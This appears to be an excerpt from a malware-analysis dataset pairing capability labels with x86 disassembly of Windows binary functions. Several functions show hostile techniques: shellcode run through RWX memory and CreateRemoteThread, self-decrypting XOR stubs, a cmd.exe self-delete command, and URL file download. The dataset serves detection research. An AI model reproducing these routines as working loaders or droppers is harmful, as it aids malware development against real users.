joyce8/EMBER2024-capa huggingface dataset:
Function at 0x567ae8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.005596fa
and dword [ebp - 4], 0
cmp dword [0x5f3768], 0
mov ebx, eax
jne 0x567b99
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x567c4a
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x567c4a
push eax
call fcn.00559688
mov dword [esp], 0x5b0ae0
push edi
mov dword [0x5f3768], eax
call esi
push eax
call fcn.00559688
mov dword [esp], 0x5b0acc
push edi
mov dword [0x5f376c], eax
call esi
push eax
call fcn.00559688
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x5f3770], eax
call esi
push eax
call fcn.00559688
pop ecx
mov dword [0x5f3778], eax
test eax, eax
je 0x567b99
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00559688
pop ecx
mov dword [0x5f3774], eax
mov eax, dword [0x5f3774]
cmp eax, ebx
je 0x567bf1
cmp dword [0x5f3778], ebx
je 0x567bf1
push eax
call fcn.00559703
push dword [0x5f3778]
mov esi, eax
call fcn.00559703
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x567bf1
test edi, edi
je 0x567bf1
call esi
test eax, eax
je 0x567be8
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x567be8
test byte [ebp - 0xc], 1
jne 0x567bf1
or dword [ebp + 0x10], 0x200000
jmp 0x567c2a
mov eax, dword [0x5f376c]
cmp eax, ebx
je 0x567c2a
push eax
call fcn.00559703
pop ecx
test eax, eax
je 0x567c2a
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x567c2a
mov eax, dword [0x5f3770]
cmp eax, ebx
je 0x567c2a
push eax
call fcn.00559703
pop ecx
test eax, eax
je 0x567c2a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x5f3768]
call fcn.00559703
pop ecx
test eax, eax
je 0x567c4a
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x567c4c
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4020a7
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x429040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.006:107_4:_00007:277_0:_004:_04:_008:_08:_08:_8:_7:2_3:_9:193_4:_
lea ecx, [ebp - 0x1c]
call fcn.004021b1
push 0xc
call fcn.004067ce
pop ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.00401e79
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x474200
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
push eax
push eax
push eax
push 0x402057
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
push ecx
call fcn.00401c94
pop ecx
pop ecx
mov edx, 0x474200
add edx, 0x188
mov esi, section..Shine
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.0040223e
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004067bb
leave
ret

Function at 0x4058ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40590e
jl 0x405905
test edi, edi
jne 0x40590e
xor eax, eax
xor edx, edx
jmp 0x4059cf
cmp dword [ebx + 0x38], 0
je 0x405923
push eax
push edi
push dword [ebp + 8]
call fcn.004059d5
jmp 0x4059cf
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40596a
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40596a
cmp eax, edi
jb 0x405944
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.004073a0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x405970
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x4059c4
mov ecx, ebx
call fcn.004051fe
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x4059af
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.0040db73
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x4059c4
jmp 0x405982
test edx, edx
je 0x4059c4
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.0040db73
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x406f70
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406faf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406faf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406faf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406faf
cmp dword [ecx + 0x74], 0xe
jbe 0x406faf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x405710
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40572e
or eax, eax
pop esi
add esp, 0x10
ret
mov ecx, dword [esp + 0x1c]
mov eax, dword [esp + 0x18]
push ecx
mov dword [esp + 0xc], eax
mov word [esp + 8], 2
call dword [sym.imp.WS2_32.dll_htons]
lea edx, [esp + 4]
push 0x10
push edx
push esi
mov word [esp + 0x12], ax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x40576f
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
pop esi
add esp, 0x10
ret
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x43b64a
Capabilities:
Encode data using xor

Disassembly:
push 0x43b3c1
pop edx
push 0x356bdcff
pop eax
call fcn.0043b68d
mov ebx, 0x8d387943
add eax, eax
xor dword [edi], edx
add ebx, 1
sub eax, 0xff1356f1
mov ebx, ebx
add edi, 1
and eax, eax
mov ebx, eax
cmp edi, ecx
jne fcn.0043b64a
sub ebx, ebx
ret
Function at 0x40d3d8
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x418418]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00408a8b
mov dword [ebp - 0x14], eax
cmp dword [0x812c84], esi
jne 0x40d4cb
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40d458
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40d5ab
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40d5ab
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40d5ab
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x812c84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x812c88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x812c8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x812c94], eax
test eax, eax
je 0x40d4c8
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x812c90], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40d4f0
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40d4e3
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40d505
push 4
pop eax
jmp 0x40d5ad
cmp dword [ebp - 0x14], esi
je 0x40d505
push dword [0x812c84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40d4ea
mov eax, dword [0x812c90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40d563
cmp dword [0x812c94], edi
je 0x40d563
push eax
call ebx
push dword [0x812c94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40d563
test eax, eax
je 0x40d563
call ecx
test eax, eax
je 0x40d558
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40d558
test byte [ebp - 8], 1
jne 0x40d563
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40d593
mov eax, dword [0x812c88]
cmp eax, edi
je 0x40d590
push eax
call ebx
test eax, eax
je 0x40d590
call eax
mov esi, eax
test esi, esi
je 0x40d590
mov eax, dword [0x812c8c]
cmp eax, edi
je 0x40d590
push eax
call ebx
test eax, eax
je 0x40d590
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x812c84]
call ebx
test eax, eax
je 0x40d5ab
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40d5ad
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403f8b
mov esp, ebp
pop ebp
ret
Function at 0x40eb20
Capabilities:
Allocate thread local storage

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10
mov eax, dword [0x5ca1c0]
xor eax, esp
mov dword [esp + 0xc], eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40eba1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword fs:[0x2c]
mov edi, eax
mov edx, dword [ecx]
mov ecx, dword [0x5dc05c]
cmp ecx, dword [edx + 4]
jle 0x40eb91
push 0x5dc05c
call fcn.0052459e
add esp, 4
cmp dword [0x5dc05c], esi
jne 0x40eb91
push 0x56a9d0
call fcn.00524a42
add esp, 4
push 0x5dc05c
call fcn.0052454d
add esp, 4
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0x5caca8
test edi, edi
jne 0x40ebb4
mov ecx, dword [esp + 0x14]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.0052450f
mov esp, ebp
pop ebp
ret
mov edx, 0x5931f8
lea ecx, [esp + 0xc]
call fcn.0040ea50
int3

Function at 0x40fc10
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x37c
mov eax, dword [0x5ca1c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x44
lea eax, [ebp - 0x378]
push 0
push eax
call fcn.00532960
add esp, 0xc
lea eax, [ebp - 0x110]
xorps xmm0, xmm0
movaps xmmword [ebp - 0x330], xmm0
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x110]
push eax
push str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___nul__del__f__q___s_
lea eax, [ebp - 0x318]
push 0x208
push eax
call fcn.0040aa20
add esp, 0x10
lea eax, [ebp - 0x330]
push eax
lea eax, [ebp - 0x378]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x318]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [ebp - 0x338]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40fcc7
push eax
call esi
mov eax, dword [ebp - 0x340]
test eax, eax
je 0x40fcd4
push eax
call esi
mov eax, dword [ebp - 0x33c]
test eax, eax
je 0x40fce1
push eax
call esi
push dword [ebp - 0x32c]
call esi
push dword [ebp - 0x330]
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0052450f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x40fd10
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x553f4d
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x5ca1c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
mov eax, esi
mov byte [ebp - 4], 1
cmp dword [esi + 0x14], 0xf
mov dword [ebp - 0x1c], 0
jbe 0x40fd70
mov eax, dword [esi]
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov ebx, eax
push ebx
call fcn.00524a65
add esp, 4
mov edi, eax
push ebx
push 0
push edi
call fcn.00532960
add esp, 0xc
cmp dword [esi + 0x14], 0xf
jbe 0x40fd9c
mov esi, dword [esi]
push edi
push ebx
push 0
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x593528
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueA]
mov edx, dword [ebp - 0x24]
test edx, edx
je 0x40fe26
cmp dword [ebp - 0x18], 0
je 0x40fe26
mov ecx, dword [edx + 8]
mov eax, ecx
mov edx, dword [edx + 0xc]
mov ebx, dword [ebp - 0x28]
shr eax, 0x10
mov dword [ebx], eax
movzx eax, cx
mov dword [ebx + 4], eax
mov eax, edx
shr eax, 0x10
mov dword [ebx + 8], eax
movzx eax, dx
mov edx, dword [ebp - 0x2c]
mov dword [ebx + 0xc], eax
mov dword [edx], 0
imul ecx, dword [ebx], 0x64
mov dword [edx], ecx
mov eax, dword [ebx + 4]
add eax, ecx
imul ecx, eax, 0x64
mov dword [edx], ecx
mov eax, dword [ebx + 8]
add eax, ecx
imul ecx, eax, 0x64
mov dword [edx], ecx
mov eax, dword [ebx + 0xc]
add eax, ecx
mov dword [edx], eax
test edi, edi
je 0x40fe22
push edi
call fcn.0052451d
add esp, 4
mov al, 1
jmp 0x40fe35
test edi, edi
je 0x40fe33
push edi
call fcn.0052451d
add esp, 4
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0052450f
mov esp, ebp
pop ebp
ret 0xc
Function at 0x410030
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x78
mov eax, dword [0x5ca1c0]
xor eax, esp
mov dword [esp + 0x74], eax
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push esi
mov dword [esp + 0xc], eax
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov ecx, esi
mov dword [esp + 0x40], 0
xorps xmm0, xmm0
mov dword [esp + 0x44], 0
movaps xmmword [esp + 0x30], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410074
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x38]
call fcn.0040f680
mov edi, dword [esp + 0x44]
lea ecx, [esp + 0x30]
mov eax, dword [esp + 0x40]
lea edx, [esp + 0x30]
cmp edi, 0xf
cmova ecx, dword [esp + 0x30]
cmova edx, dword [esp + 0x30]
mov dword [esp + 0xc], ecx
test eax, eax
je 0x4100ce
or ecx, 0xffffffff
dec eax
cmp eax, ecx
cmovb ecx, eax
add ecx, edx
cmp byte [ecx], 0x2f
je 0x4100ca
nop dword [eax]
cmp ecx, edx
je 0x4100ce
dec ecx
cmp byte [ecx], 0x2f
jne 0x4100c0
sub ecx, edx
jmp 0x4100d1
or ecx, 0xffffffff
mov eax, dword [esp + 0xc]
inc eax
add eax, ecx
cmp edi, 0xf
push eax
lea ecx, [esp + 0x34]
cmova ecx, dword [esp + 0x34]
lea eax, [esp + 0x10]
push ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.00416550
xorps xmm0, xmm0
mov dword [esp + 0x54], vtable.MyCallback.0
movups xmmword [esp + 0x60], xmm0
lea eax, [esp + 0x10]
mov dword [esp + 0x58], 0x5de3a0
movaps xmm0, xmmword [esp + 0x30]
lea ecx, [esp + 0x60]
movaps xmmword [esp + 0x10], xmm0
movq xmm0, qword [esp + 0x40]
push eax
mov dword [esp + 0x60], 0x5de248
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0xf
mov byte [esp + 0x64], 0
mov dword [esp + 0x7c], 0
movq qword [esp + 0x24], xmm0
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0xf
mov byte [esp + 0x34], 0
call fcn.00416720
mov ecx, dword [esp + 0x24]
cmp ecx, 0xf
jbe 0x4101a0
mov edx, dword [esp + 0x10]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410196
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41024d
push ecx
push edx
call fcn.00524a57
add esp, 8
lea eax, [esp + 0x54]
push eax
push 0
push dword [esp + 0x10]
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ecx, dword [esp + 0x74]
shr eax, 0x1f
xor al, 1
mov dword [esp + 8], eax
cmp ecx, 0xf
jbe 0x4101ef
mov edx, dword [esp + 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4101e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41024d
push ecx
push edx
call fcn.00524a57
add esp, 8
mov ecx, dword [esp + 0x44]
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0xf
mov byte [esp + 0x60], 0
cmp ecx, 0xf
jbe 0x410236
mov edx, dword [esp + 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41022c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41024d
push ecx
push edx
call fcn.00524a57
add esp, 8
mov ecx, dword [esp + 0x7c]
mov al, byte [esp + 8]
pop edi
pop esi
xor ecx, esp
call fcn.0052450f
mov esp, ebp
pop ebp
ret 8
call fcn.0053ce3a
int3
Function at 0x4140d0
Capabilities:
Create http request
Create thread
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x554450
mov eax, dword fs:[0]
push eax
mov eax, 0x1038
call fcn.00525660
mov eax, dword [0x5ca1c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x1014], esi
xorps xmm0, xmm0
mov dword [ebp - 0x1014], esi
movups xmmword [ebp - 0x1038], xmm0
movups xmmword [ebp - 0x1028], xmm0
push 0
push 0
push 0
push 0
push str.IP_retriever
mov dword [ebp - 4], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, dword [ebp - 0x1038]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x103c], eax
test ecx, ecx
je 0x414159
push ecx
call edi
mov eax, dword [ebp - 0x103c]
mov dword [ebp - 0x1038], eax
test eax, eax
je 0x41428e
lea eax, [ebp - 0x1014]
mov dword [ebp - 0x1014], 0
push eax
push 0
lea eax, [ebp - 0x1038]
mov dword [ebp - 0x1018], 0
push eax
push 0x413ec0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1040], eax
test eax, eax
je 0x41428e
push 0x3e8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x414203
push 1
push ecx
push 1
push 1
push ecx
mov ecx, dword [0x5de260]
mov edx, str.3Could_not_connect_to_5http:__myexternalip.com_raw_3to_retrieve_your_1external_IP_address_3for_5Tiny6Rcon_3updates__n
call fcn.004dbe00
add esp, 0x14
push 0xffffffffffffffff
push dword [ebp - 0x1040]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x1018]
push eax
push dword [ebp - 0x1040]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push dword [ebp - 0x1040]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1018], 0
je 0x414256
xorps xmm0, xmm0
mov ecx, esi
push 7
movups xmmword [esi], xmm0
push str.unknown
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.0040f680
mov eax, dword [ebp - 0x1034]
test eax, eax
je 0x414245
push eax
call edi
mov dword [ebp - 0x1034], 0
mov ecx, dword [ebp - 0x1038]
test ecx, ecx
je 0x4142d4
push ecx
jmp 0x4142d2
lea eax, [ebp - 0x103c]
mov dword [ebp - 0x103c], 0
push eax
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push dword [ebp - 0x1034]
call dword [sym.imp.WININET.dll_InternetReadFile]
push dword [ebp - 0x103c]
lea eax, [ebp - 0x1010]
push eax
jmp 0x414295
push 7
push str.unknown
xorps xmm0, xmm0
mov ecx, esi
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
call fcn.0040f680
mov eax, dword [ebp - 0x1034]
test eax, eax
je 0x4142c7
push eax
call edi
mov dword [ebp - 0x1034], 0
mov eax, dword [ebp - 0x1038]
test eax, eax
je 0x4142d4
push eax
call edi
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052450f
mov esp, ebp
pop ebp
ret
Function at 0x414300
Capabilities:
Create http request
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x5ca1c0]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0
push 0
push 0
mov dword [ebp - 0x34], eax
mov ebx, ecx
mov eax, dword [ebp + 0xc]
push 1
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x10]
push str.tinyrcon_upload_file
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x18], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esi, eax
mov eax, dword [ebp - 0x30]
test eax, eax
je 0x414364
push eax
call edi
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x14], eax
test esi, esi
je 0x4143f1
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push eax
push 0
lea eax, [ebp - 0x30]
mov dword [ebp - 0xc], 0
push eax
push 0x413f50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x4143e5
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x3e8
push esi
call edi
cmp eax, 0x102
jne 0x4143df
push 0xffffffffffffffff
push esi
call edi
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp - 0xc], 0
mov esi, dword [ebp - 0x30]
sete bl
jmp 0x4143f3
xor bl, bl
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x414407
push eax
call edi
mov esi, dword [ebp - 0x30]
mov dword [ebp - 0x2c], 0
test esi, esi
je 0x41440e
push esi
call edi
mov ecx, dword [ebp - 8]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0052450f
mov esp, ebp
pop ebp
ret